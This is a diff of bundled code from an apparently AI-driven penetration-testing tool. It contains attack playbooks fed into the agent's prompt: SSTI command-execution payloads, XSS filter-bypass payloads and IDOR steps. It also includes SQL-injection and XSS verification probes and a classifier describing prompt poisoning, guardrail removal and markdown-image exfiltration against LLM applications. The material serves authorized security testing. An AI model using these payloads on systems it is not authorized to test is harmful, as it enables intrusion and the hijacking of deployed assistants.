ssti: `## SSTI Playbook
|
|
668
|
+
- Confirm with: {{7*7}}, \${7*7}, <%= 7*7 %>
|
|
669
|
+
- Identify engine: {{config}} (Jinja2), #{7*7} (Ruby), {{self}} (Twig)
|
|
670
|
+
- Escalate Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
671
|
+
- Escalate Django: {% load module %}{% module.dangerous %}
|
|
672
|
+
- Try {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
673
|
+
- If blocked, try: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}`,
|
|
674
|
+
idor: `## IDOR Playbook
|
|
675
|
+
- Login with provided/default creds first
|
|
676
|
+
- Find any URL with an ID parameter: /api/users/1, /profile?id=1, /edit/1
|
|
677
|
+
- Try incrementing/decrementing IDs: 0, 2, 3, 999, admin
|
|
678
|
+
- Try changing user identifiers in POST body: user_id, owner_id, account_id
|
|
679
|
+
- Check both GET and POST/PUT endpoints for same resource
|
|
680
|
+
- Try negative IDs, very large IDs, string values where integers expected
|
|
681
|
+
- Check indirect IDOR: change ID in one endpoint, observe result in another`,
|
|
682
|
+
access_control: `## Broken Access Control Playbook (BOLA / IDOR / BFLA \u2014 multi-identity)
|
|
683
|
+
|
|
684
|
+
This is the highest-impact API vuln class (OWASP API #1 & #5) and is ONLY
|
|
685
|
+
testable with \u22652 identities. If the scan configured multiple identities, use
|
|
686
|
+
the **access_control_probe** tool \u2014 it captures a resource as the authorized
|
|
687
|
+
identity, replays the SAME request as another identity, and diffs the result.
|
|
688
|
+
|
|
689
|
+
### Horizontal (BOLA / IDOR) \u2014 read another user's object
|
|
690
|
+
1. As identity A, find an object you legitimately own: /api/users/{A_id},
|
|
691
|
+
/api/orders/{A_order}, /account/{A_id}/settings, ?id={A_id}.
|
|
692
|
+
2. Call \`access_control_probe\` with that URL, baseline_identity = A,
|
|
693
|
+
compare_identities = [B], expect_denied = true.
|
|
694
|
+
3. If B gets a 2xx with the SAME body A saw \u2192 confirmed BOLA. The tool returns
|
|
695
|
+
A-vs-B request/response evidence \u2014 pass it straight into save_finding.
|
|
696
|
+
4. Also try B's own id incremented/decremented to A's id in the path AND body
|
|
697
|
+
(user_id, owner_id, account_id) \u2014 IDOR often hides in the POST/PUT body.
|
|
698
|
+
|
|
699
|
+
### Vertical (BFLA) \u2014 low-priv reaching admin-only function
|
|
700
|
+
1. As the admin identity, hit an admin-only endpoint (/admin, /api/admin/users,
|
|
701
|
+
role-changing POSTs).
|
|
702
|
+
2. \`access_control_probe\` baseline_identity = admin, compare_identities =
|
|
703
|
+
[low-priv user, anonymous], expect_denied = true.
|
|
704
|
+
3. A 2xx for the low-priv / anonymous identity = vertical privilege escalation.
|
|
705
|
+
|
|
706
|
+
### Cross-tenant writes and multi-step workflows
|
|
707
|
+
1. Use a disposable resource and a fresh marker within the approved scope.
|
|
708
|
+
2. Call \`access_control_workflow\` with the owner and actor identities,
|
|
709
|
+
an owner-visible JSON observation, the actor's ordered requests, and
|
|
710
|
+
\`allow_mutation: true\`.
|
|
711
|
+
3. Confirm only when the owner-visible state changes to the expected marker.
|
|
712
|
+
A 2xx/no-op is not proof, and a 403 can still hide a committed state change.
|
|
713
|
+
4. Keep before/after and per-step evidence. Missing observations, transport
|
|
714
|
+
errors, or a marker already present before the attempt are inconclusive.
|
|
715
|
+
|
|
716
|
+
### Tips
|
|
717
|
+
- The HTTP tools are now stateful: a session cookie captured via submit_form is
|
|
718
|
+
auto-re-injected, so you do NOT need manual \`curl -c/-b\` jars.
|
|
719
|
+
- A 200 alone isn't proof \u2014 the probe's body-similarity diff is what confirms
|
|
720
|
+
the SAME resource crossed the boundary. Save findings only on a real diff.`,
|
|
721
|
+
xss: `## XSS Playbook
|
|
722
|
+
|
|
723
|
+
### Step 1: Identify Injection Points
|
|
724
|
+
- Use curl to fetch every page with forms or URL parameters
|
|
725
|
+
- Look for reflected output: inject a unique canary string (e.g. "osec123xss") and check if it appears unescaped in the response HTML
|
|
726
|
+
- Check Content-Type headers \u2014 XSS only works when response is text/html
|
|
727
|
+
- Note which characters are reflected vs stripped: < > " ' / \` ( ) = on
|
|
728
|
+
|
|
729
|
+
### Step 2: Test with Basic Payloads via curl
|
|
730
|
+
- Reflected: <script>alert(1)</script> in all params (GET and POST)
|
|
731
|
+
- Event handlers: <img src=x onerror=alert(1)>, <svg onload=alert(1)>
|
|
732
|
+
- Stored XSS: inject in forms that save data (comments, profiles, settings), then visit the page where it renders
|
|
733
|
+
- DOM XSS: look for document.location, innerHTML, eval, document.write in client JS source
|
|
734
|
+
|
|
735
|
+
### Step 3: Confirm XSS with the Browser Tool (CRITICAL)
|
|
736
|
+
curl CANNOT execute JavaScript \u2014 you MUST use the browser tool to confirm XSS fires.
|
|
737
|
+
1. browser action=navigate url=TARGET_URL_WITH_PAYLOAD
|
|
738
|
+
2. Check the "dialogs" array in the response \u2014 if it contains "alert: 1" or similar, XSS is CONFIRMED
|
|
739
|
+
3. If no dialog fires, try: browser action=evaluate script="document.querySelector('img[onerror]') !== null"
|
|
740
|
+
4. For stored XSS: first inject via curl/submit_form, then navigate with browser to the render page
|
|
741
|
+
5. For DOM XSS: browser action=navigate to the page, then action=evaluate to check if payload executed
|
|
742
|
+
|
|
743
|
+
### Step 4: WAF/Filter Bypass Payloads
|
|
744
|
+
If basic payloads are blocked, try these bypasses IN ORDER:
|
|
745
|
+
|
|
746
|
+
**Angle brackets stripped/encoded:**
|
|
747
|
+
- " onfocus=alert(1) autofocus="
|
|
748
|
+
- ' onfocus='alert(1)' autofocus='
|
|
749
|
+
- " autofocus onfocus=alert(1)//
|
|
750
|
+
|
|
751
|
+
**script tag blocked:**
|
|
752
|
+
- <img src=x onerror=alert(1)>
|
|
753
|
+
- <svg/onload=alert(1)>
|
|
754
|
+
- <details open ontoggle=alert(1)>
|
|
755
|
+
- <body onload=alert(1)>
|
|
756
|
+
- <marquee onstart=alert(1)>
|
|
757
|
+
- <video><source onerror=alert(1)>
|
|
758
|
+
- <input onfocus=alert(1) autofocus>
|
|
759
|
+
|
|
760
|
+
**alert() blocked:**
|
|
761
|
+
- <img src=x onerror=confirm(1)>
|
|
762
|
+
- <img src=x onerror=prompt(1)>
|
|
763
|
+
- <img src=x onerror=print()>
|
|
764
|
+
- <img src=x onerror=window['al'+'ert'](1)>
|
|
765
|
+
|
|
766
|
+
**Encoding bypasses:**
|
|
767
|
+
- URL encoding: %3Cscript%3Ealert(1)%3C/script%3E
|
|
768
|
+
- Double URL encoding: %253Cscript%253Ealert(1)%253C%252Fscript%253E
|
|
769
|
+
- HTML entities: <script> (check if decoded server-side)
|
|
770
|
+
- Unicode: \\u003cscript\\u003ealert(1)\\u003c/script\\u003e
|
|
771
|
+
- Mixed case: <ScRiPt>alert(1)</ScRiPt>
|
|
772
|
+
- Null bytes: <scr%00ipt>alert(1)</script>
|
|
773
|
+
|
|
774
|
+
**Attribute context escapes:**
|
|
775
|
+
- " onmouseover=alert(1) x="
|
|
776
|
+
- '-alert(1)-'
|
|
777
|
+
- javascript:alert(1) (in href/src attributes)
|
|
260
778
|
- data:text/html,<script>alert(1)</script> (in iframe src)
|
|
261
779
|
|
|
262
780
|
**Template/framework specific:**
|
|
@@ -1378,607 +1896,148 @@ var INDICATORS = [
|
|
|
1378
1896
|
/gc\.collect\(/i,
|
|
1379
1897
|
/garbage collector/i,
|
|
1380
1898
|
/\.rs\b/,
|
|
1381
|
-
/\bcargo\b/i,
|
|
1382
|
-
/\bsegfault\b/i,
|
|
1383
|
-
/sandbox escape/i
|
|
1384
|
-
]
|
|
1385
|
-
}
|
|
1386
|
-
];
|
|
1387
|
-
function detectPlaybooks(toolResultTexts) {
|
|
1388
|
-
const combined = toolResultTexts.join("\n");
|
|
1389
|
-
const scores = /* @__PURE__ */ new Map();
|
|
1390
|
-
for (const indicator of INDICATORS) {
|
|
1391
|
-
let matchCount = 0;
|
|
1392
|
-
for (const pattern of indicator.patterns) {
|
|
1393
|
-
if (pattern.test(combined)) {
|
|
1394
|
-
matchCount++;
|
|
1395
|
-
}
|
|
1396
|
-
}
|
|
1397
|
-
if (matchCount >= 2) {
|
|
1398
|
-
scores.set(indicator.type, matchCount);
|
|
1399
|
-
}
|
|
1400
|
-
}
|
|
1401
|
-
return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
|
|
1402
|
-
}
|
|
1403
|
-
function buildPlaybookInjection(types) {
|
|
1404
|
-
const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
|
|
1405
|
-
if (sections.length === 0)
|
|
1406
|
-
return "";
|
|
1407
|
-
return [
|
|
1408
|
-
"## Dynamic Playbook Injection",
|
|
1409
|
-
"",
|
|
1410
|
-
"Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
|
|
1411
|
-
"Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
|
|
1412
|
-
"",
|
|
1413
|
-
...sections
|
|
1414
|
-
].join("\n");
|
|
1415
|
-
}
|
|
1416
|
-
var PROMPT_LAYER_IMPACT_RULES = [
|
|
1417
|
-
{
|
|
1418
|
-
impact: "guardrail_removal",
|
|
1419
|
-
patterns: [
|
|
1420
|
-
/\bguardrail/i,
|
|
1421
|
-
/safety[_\s-]?settings?/i,
|
|
1422
|
-
/\bmoderation\b/i,
|
|
1423
|
-
/\bpolicy\b/i,
|
|
1424
|
-
/\brefus/i,
|
|
1425
|
-
/\bnever (?:reveal|disclose|share|answer)/i,
|
|
1426
|
-
/you must (?:refuse|not)/i,
|
|
1427
|
-
/content[_\s-]?filter/i
|
|
1428
|
-
]
|
|
1429
|
-
},
|
|
1430
|
-
{
|
|
1431
|
-
impact: "output_channel_exfil",
|
|
1432
|
-
patterns: [
|
|
1433
|
-
/output[_\s-]?(?:channel|template|format)/i,
|
|
1434
|
-
/webhook/i,
|
|
1435
|
-
/\bcallback\b/i,
|
|
1436
|
-
/markdown/i,
|
|
1437
|
-
/!\[[^\]]*\]\(https?:\/\//,
|
|
1438
|
-
/append .*(?:url|link|http)/i
|
|
1439
|
-
]
|
|
1440
|
-
},
|
|
1441
|
-
{
|
|
1442
|
-
impact: "model_config_tamper",
|
|
1443
|
-
patterns: [
|
|
1444
|
-
/model[_\s-]?(?:config|name|id)/i,
|
|
1445
|
-
/\btemperature\b/i,
|
|
1446
|
-
/\btop[_\s-]?p\b/i,
|
|
1447
|
-
/\bmax[_\s-]?tokens\b/i,
|
|
1448
|
-
/tool[_\s-]?(?:config|choice|s)\b/i,
|
|
1449
|
-
/function[_\s-]?(?:config|call)/i,
|
|
1450
|
-
/assistant[_\s-]?config/i,
|
|
1451
|
-
/agent[_\s-]?config/i
|
|
1452
|
-
]
|
|
1453
|
-
},
|
|
1454
|
-
{
|
|
1455
|
-
impact: "prompt_poisoning",
|
|
1456
|
-
patterns: [
|
|
1457
|
-
/system[_\s-]?prompt/i,
|
|
1458
|
-
/prompt[_\s-]?template/i,
|
|
1459
|
-
/\bprompts?\b/i,
|
|
1460
|
-
/\binstructions?\b/i,
|
|
1461
|
-
/\bpersona\b/i,
|
|
1462
|
-
/you are (?:a|an|now|the)/i
|
|
1463
|
-
]
|
|
1464
|
-
}
|
|
1465
|
-
];
|
|
1466
|
-
function looksLikePromptLayer(haystack) {
|
|
1467
|
-
return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
|
|
1468
|
-
}
|
|
1469
|
-
function classifyPromptLayerImpact(asset) {
|
|
1470
|
-
const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
|
|
1471
|
-
const isPromptLayer = looksLikePromptLayer(haystack);
|
|
1472
|
-
if (!isPromptLayer) {
|
|
1473
|
-
return {
|
|
1474
|
-
isPromptLayer: false,
|
|
1475
|
-
impacts: [],
|
|
1476
|
-
severity: "info",
|
|
1477
|
-
narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
|
|
1478
|
-
};
|
|
1479
|
-
}
|
|
1480
|
-
const impacts = [];
|
|
1481
|
-
for (const rule of PROMPT_LAYER_IMPACT_RULES) {
|
|
1482
|
-
if (rule.patterns.some((p) => p.test(haystack))) {
|
|
1483
|
-
impacts.push(rule.impact);
|
|
1484
|
-
}
|
|
1485
|
-
}
|
|
1486
|
-
if (!asset.writable) {
|
|
1487
|
-
return {
|
|
1488
|
-
isPromptLayer: true,
|
|
1489
|
-
impacts: [],
|
|
1490
|
-
severity: "low",
|
|
1491
|
-
narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
|
|
1492
|
-
};
|
|
1493
|
-
}
|
|
1494
|
-
const reRead = asset.reReadAtInference === true;
|
|
1495
|
-
const severity = reRead ? "high" : "low";
|
|
1496
|
-
const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
|
|
1497
|
-
const narrative = [
|
|
1498
|
-
`WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
|
|
1499
|
-
reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
|
|
1500
|
-
`Impact class(es): ${impacts.join(", ")}.`,
|
|
1501
|
-
...impactLabels.map((l) => `- ${l}`),
|
|
1502
|
-
"Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
|
|
1503
|
-
].join("\n");
|
|
1504
|
-
return { isPromptLayer: true, impacts, severity, narrative };
|
|
1505
|
-
}
|
|
1506
|
-
var IMPACT_NARRATIVE = {
|
|
1507
|
-
prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
|
|
1508
|
-
guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
|
|
1509
|
-
output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
|
|
1510
|
-
model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
|
|
1511
|
-
};
|
|
1512
|
-
function describeAsset(asset) {
|
|
1513
|
-
const loc = [asset.table, asset.column].filter(Boolean).join(".");
|
|
1514
|
-
return loc || "unnamed asset";
|
|
1515
|
-
}
|
|
1516
|
-
|
|
1517
|
-
// packages/core/dist/triage/oracle-runtime.js
|
|
1518
|
-
import { randomUUID } from "node:crypto";
|
|
1519
|
-
import { createServer } from "node:http";
|
|
1520
|
-
|
|
1521
|
-
// packages/core/dist/triage/oracles.js
|
|
1522
|
-
var DEFAULT_TIMEOUT_MS = 1e4;
|
|
1523
|
-
function notVerifiable(reason) {
|
|
1524
|
-
return { verified: false, confidence: 0, evidence: "", reason };
|
|
1525
|
-
}
|
|
1526
|
-
function verified(evidence, confidence = 1) {
|
|
1527
|
-
return { verified: true, confidence, evidence, reason: "" };
|
|
1528
|
-
}
|
|
1529
|
-
function parseRequest(requestText, fallbackTarget) {
|
|
1530
|
-
const parsed = {
|
|
1531
|
-
method: "GET",
|
|
1532
|
-
url: fallbackTarget,
|
|
1533
|
-
headers: {},
|
|
1534
|
-
body: "",
|
|
1535
|
-
params: {}
|
|
1536
|
-
};
|
|
1537
|
-
const parseFallbackQuery = () => {
|
|
1538
|
-
try {
|
|
1539
|
-
const u = new URL(parsed.url);
|
|
1540
|
-
u.searchParams.forEach((v, k) => {
|
|
1541
|
-
parsed.params[k] = v;
|
|
1542
|
-
});
|
|
1543
|
-
} catch {
|
|
1544
|
-
}
|
|
1545
|
-
};
|
|
1546
|
-
if (!requestText) {
|
|
1547
|
-
parseFallbackQuery();
|
|
1548
|
-
return parsed;
|
|
1549
|
-
}
|
|
1550
|
-
const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
|
|
1551
|
-
if (curlUrl)
|
|
1552
|
-
parsed.url = curlUrl[1].replace(/['"]$/, "");
|
|
1553
|
-
const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
|
|
1554
|
-
if (curlMethod)
|
|
1555
|
-
parsed.method = curlMethod[1].toUpperCase();
|
|
1556
|
-
const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
|
|
1557
|
-
if (curlData)
|
|
1558
|
-
parsed.body = curlData[1];
|
|
1559
|
-
const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
|
|
1560
|
-
if (startLine) {
|
|
1561
|
-
parsed.method = startLine[1].toUpperCase();
|
|
1562
|
-
const path = startLine[2];
|
|
1563
|
-
const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
|
|
1564
|
-
if (hostHeader) {
|
|
1565
|
-
const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
|
|
1566
|
-
parsed.url = `${scheme}://${hostHeader[1]}${path}`;
|
|
1567
|
-
} else if (path.startsWith("/")) {
|
|
1568
|
-
try {
|
|
1569
|
-
const base = new URL(fallbackTarget);
|
|
1570
|
-
parsed.url = `${base.origin}${path}`;
|
|
1571
|
-
} catch {
|
|
1572
|
-
parsed.url = path;
|
|
1573
|
-
}
|
|
1574
|
-
} else {
|
|
1575
|
-
parsed.url = path;
|
|
1576
|
-
}
|
|
1577
|
-
const sep = requestText.indexOf("\n\n");
|
|
1578
|
-
if (sep >= 0)
|
|
1579
|
-
parsed.body = requestText.slice(sep + 2).trim();
|
|
1580
|
-
}
|
|
1581
|
-
try {
|
|
1582
|
-
const u = new URL(parsed.url);
|
|
1583
|
-
u.searchParams.forEach((v, k) => {
|
|
1584
|
-
parsed.params[k] = v;
|
|
1585
|
-
});
|
|
1586
|
-
} catch {
|
|
1587
|
-
}
|
|
1588
|
-
if (parsed.body && parsed.body.includes("=") && !parsed.body.startsWith("{")) {
|
|
1589
|
-
for (const pair of parsed.body.split("&")) {
|
|
1590
|
-
const [k, v] = pair.split("=");
|
|
1591
|
-
if (k)
|
|
1592
|
-
parsed.params[decodeURIComponent(k)] = decodeURIComponent(v ?? "");
|
|
1593
|
-
}
|
|
1594
|
-
}
|
|
1595
|
-
return parsed;
|
|
1596
|
-
}
|
|
1597
|
-
function buildProbeRequest(parsed, newParams) {
|
|
1598
|
-
const merged = { ...parsed.params, ...newParams };
|
|
1599
|
-
const method = parsed.method || "GET";
|
|
1600
|
-
const init = { method, headers: parsed.headers };
|
|
1601
|
-
if (method === "GET" || method === "DELETE") {
|
|
1602
|
-
try {
|
|
1603
|
-
const u = new URL(parsed.url);
|
|
1604
|
-
Array.from(u.searchParams.keys()).forEach((k) => u.searchParams.delete(k));
|
|
1605
|
-
for (const [k, v] of Object.entries(merged))
|
|
1606
|
-
u.searchParams.set(k, v);
|
|
1607
|
-
return { url: u.toString(), init };
|
|
1608
|
-
} catch {
|
|
1609
|
-
return { url: parsed.url, init };
|
|
1610
|
-
}
|
|
1611
|
-
}
|
|
1612
|
-
init.body = new URLSearchParams(merged).toString();
|
|
1613
|
-
init.headers = {
|
|
1614
|
-
"content-type": "application/x-www-form-urlencoded",
|
|
1615
|
-
...parsed.headers
|
|
1616
|
-
};
|
|
1617
|
-
return { url: parsed.url, init };
|
|
1618
|
-
}
|
|
1619
|
-
async function timedFetch(url, init, timeoutMs = DEFAULT_TIMEOUT_MS) {
|
|
1620
|
-
const controller = new AbortController();
|
|
1621
|
-
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
|
1622
|
-
const start = Date.now();
|
|
1623
|
-
try {
|
|
1624
|
-
const res = await fetch(url, { ...init, signal: controller.signal });
|
|
1625
|
-
const body = await res.text();
|
|
1626
|
-
return { status: res.status, body, latencyMs: Date.now() - start };
|
|
1627
|
-
} catch {
|
|
1628
|
-
return null;
|
|
1629
|
-
} finally {
|
|
1630
|
-
clearTimeout(timer);
|
|
1631
|
-
}
|
|
1632
|
-
}
|
|
1633
|
-
var SQL_ERROR_PATTERNS = [
|
|
1634
|
-
// MySQL
|
|
1635
|
-
/You have an error in your SQL syntax/i,
|
|
1636
|
-
/\bmysql_fetch_/i,
|
|
1637
|
-
/\bMySQLSyntaxErrorException\b/i,
|
|
1638
|
-
/\bMariaDB\b.*?\bsyntax\b/i,
|
|
1639
|
-
// PostgreSQL
|
|
1640
|
-
/\bPG::SyntaxError\b/i,
|
|
1641
|
-
/\bpq:\s+syntax error\b/i,
|
|
1642
|
-
/\bpsql:.*?ERROR:/i,
|
|
1643
|
-
/unterminated quoted string/i,
|
|
1644
|
-
// SQLite
|
|
1645
|
-
/\bSQLite3::/i,
|
|
1646
|
-
/\bsqlite3\.OperationalError\b/i,
|
|
1647
|
-
/near\s+".+?":\s*syntax error/i,
|
|
1648
|
-
// MSSQL
|
|
1649
|
-
/\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
|
|
1650
|
-
/\bUnclosed quotation mark\b/i,
|
|
1651
|
-
/\bOLE DB.*?SQL Server\b/i,
|
|
1652
|
-
// Oracle
|
|
1653
|
-
/\bORA-\d{4,5}\b/i,
|
|
1654
|
-
/\bquoted string not properly terminated\b/i
|
|
1655
|
-
];
|
|
1656
|
-
function detectSqlError(body) {
|
|
1657
|
-
for (const re of SQL_ERROR_PATTERNS) {
|
|
1658
|
-
const m = body.match(re);
|
|
1659
|
-
if (m)
|
|
1660
|
-
return m[0];
|
|
1661
|
-
}
|
|
1662
|
-
return null;
|
|
1663
|
-
}
|
|
1664
|
-
function pickInjectableParam(parsed) {
|
|
1665
|
-
for (const [k, v] of Object.entries(parsed.params)) {
|
|
1666
|
-
if (v && v.length > 0)
|
|
1667
|
-
return { key: k, value: v };
|
|
1668
|
-
}
|
|
1669
|
-
const first = Object.keys(parsed.params)[0];
|
|
1670
|
-
if (first)
|
|
1671
|
-
return { key: first, value: parsed.params[first] ?? "" };
|
|
1672
|
-
return null;
|
|
1673
|
-
}
|
|
1674
|
-
async function verifySqli(finding, target) {
|
|
1675
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1676
|
-
const victim = pickInjectableParam(parsed);
|
|
1677
|
-
if (!victim)
|
|
1678
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1679
|
-
const signals = [];
|
|
1680
|
-
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
|
|
1681
|
-
if (!baseline)
|
|
1682
|
-
return notVerifiable("baseline request failed");
|
|
1683
|
-
const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
|
|
1684
|
-
const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
|
|
1685
|
-
if (trueProbe && falseProbe && trueProbe.body.length > 0) {
|
|
1686
|
-
const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
|
|
1687
|
-
if (delta > 0.1) {
|
|
1688
|
-
signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
|
|
1689
|
-
}
|
|
1690
|
-
}
|
|
1691
|
-
const timePayloads = [
|
|
1692
|
-
`${victim.value}' AND SLEEP(3)-- -`,
|
|
1693
|
-
`${victim.value}'; SELECT pg_sleep(3)-- -`,
|
|
1694
|
-
`${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
|
|
1695
|
-
];
|
|
1696
|
-
for (const payload of timePayloads) {
|
|
1697
|
-
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
|
|
1698
|
-
if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
|
|
1699
|
-
signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
|
|
1700
|
-
break;
|
|
1701
|
-
}
|
|
1702
|
-
}
|
|
1703
|
-
const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
|
|
1704
|
-
if (errProbe) {
|
|
1705
|
-
const err = detectSqlError(errProbe.body);
|
|
1706
|
-
if (err)
|
|
1707
|
-
signals.push(`sql_error: ${err}`);
|
|
1708
|
-
}
|
|
1709
|
-
if (signals.length >= 2) {
|
|
1710
|
-
return verified(signals.join(" | "));
|
|
1711
|
-
}
|
|
1712
|
-
return {
|
|
1713
|
-
verified: false,
|
|
1714
|
-
confidence: signals.length === 1 ? 0.4 : 0,
|
|
1715
|
-
evidence: signals.join(" | "),
|
|
1716
|
-
reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
|
|
1717
|
-
};
|
|
1718
|
-
}
|
|
1719
|
-
async function verifyReflectedXss(finding, target) {
|
|
1720
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1721
|
-
const victim = pickInjectableParam(parsed);
|
|
1722
|
-
if (!victim)
|
|
1723
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1724
|
-
const token = `osec_${randomUUID().replace(/-/g, "")}`;
|
|
1725
|
-
const payload = `<script>alert('${token}')</script>`;
|
|
1726
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
1727
|
-
[victim.key]: payload
|
|
1728
|
-
});
|
|
1729
|
-
const probe = await timedFetch(url, init);
|
|
1730
|
-
const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`<script>alert('${token}')</script>`);
|
|
1731
|
-
let playwright = null;
|
|
1732
|
-
try {
|
|
1733
|
-
playwright = await import("playwright");
|
|
1734
|
-
} catch {
|
|
1735
|
-
}
|
|
1736
|
-
if (playwright) {
|
|
1737
|
-
let browser = null;
|
|
1738
|
-
try {
|
|
1739
|
-
browser = await playwright.chromium.launch({ headless: true });
|
|
1740
|
-
const page = await browser.newPage();
|
|
1741
|
-
let dialogMessage = "";
|
|
1742
|
-
page.on("dialog", async (dialog) => {
|
|
1743
|
-
if (dialog.type() === "alert" && dialog.message() === token) {
|
|
1744
|
-
dialogMessage = token;
|
|
1745
|
-
}
|
|
1746
|
-
await dialog.dismiss().catch(() => {
|
|
1747
|
-
});
|
|
1748
|
-
});
|
|
1749
|
-
let replayed = false;
|
|
1750
|
-
await page.route((candidate) => candidate.href === new URL(url).href, async (route) => {
|
|
1751
|
-
const request = route.request();
|
|
1752
|
-
if (!replayed && request.isNavigationRequest() && request.frame() === page.mainFrame()) {
|
|
1753
|
-
replayed = true;
|
|
1754
|
-
await route.continue({
|
|
1755
|
-
method: init.method,
|
|
1756
|
-
headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
|
|
1757
|
-
...typeof init.body === "string" ? { postData: init.body } : {}
|
|
1758
|
-
});
|
|
1759
|
-
} else {
|
|
1760
|
-
await route.continue();
|
|
1761
|
-
}
|
|
1762
|
-
});
|
|
1763
|
-
await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
|
|
1764
|
-
await page.waitForTimeout(500);
|
|
1765
|
-
await browser.close();
|
|
1766
|
-
browser = null;
|
|
1767
|
-
if (dialogMessage === token) {
|
|
1768
|
-
return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
|
|
1769
|
-
}
|
|
1770
|
-
} catch (err) {
|
|
1771
|
-
if (browser)
|
|
1772
|
-
await browser.close().catch(() => {
|
|
1773
|
-
});
|
|
1774
|
-
return {
|
|
1775
|
-
verified: false,
|
|
1776
|
-
confidence: htmlReflected ? 0.4 : 0,
|
|
1777
|
-
evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
|
|
1778
|
-
reason: `playwright navigation failed: ${err.message}`
|
|
1779
|
-
};
|
|
1780
|
-
}
|
|
1781
|
-
}
|
|
1782
|
-
if (htmlReflected) {
|
|
1783
|
-
return {
|
|
1784
|
-
verified: false,
|
|
1785
|
-
confidence: 0.5,
|
|
1786
|
-
evidence: `html_reflection: payload reflected unencoded in response body`,
|
|
1787
|
-
reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
|
|
1788
|
-
};
|
|
1789
|
-
}
|
|
1790
|
-
return notVerifiable("no xss reflection or alert captured");
|
|
1791
|
-
}
|
|
1792
|
-
async function withCollector(nonce, timeoutMs, work) {
|
|
1793
|
-
const port = 8888 + Math.floor(Math.random() * 1e3);
|
|
1794
|
-
let hit = false;
|
|
1795
|
-
const server = createServer((req, res) => {
|
|
1796
|
-
if ((req.url ?? "").includes(nonce))
|
|
1797
|
-
hit = true;
|
|
1798
|
-
res.writeHead(200);
|
|
1799
|
-
res.end("ok");
|
|
1800
|
-
});
|
|
1801
|
-
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
|
|
1802
|
-
const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
|
|
1803
|
-
const waitForHit = async () => {
|
|
1804
|
-
const deadline = Date.now() + timeoutMs;
|
|
1805
|
-
while (Date.now() < deadline) {
|
|
1806
|
-
if (hit)
|
|
1807
|
-
return true;
|
|
1808
|
-
await new Promise((r) => setTimeout(r, 100));
|
|
1809
|
-
}
|
|
1810
|
-
return hit;
|
|
1811
|
-
};
|
|
1812
|
-
try {
|
|
1813
|
-
return await work(collectorUrl, waitForHit);
|
|
1814
|
-
} finally {
|
|
1815
|
-
await new Promise((resolve) => server.close(() => resolve()));
|
|
1899
|
+
/\bcargo\b/i,
|
|
1900
|
+
/\bsegfault\b/i,
|
|
1901
|
+
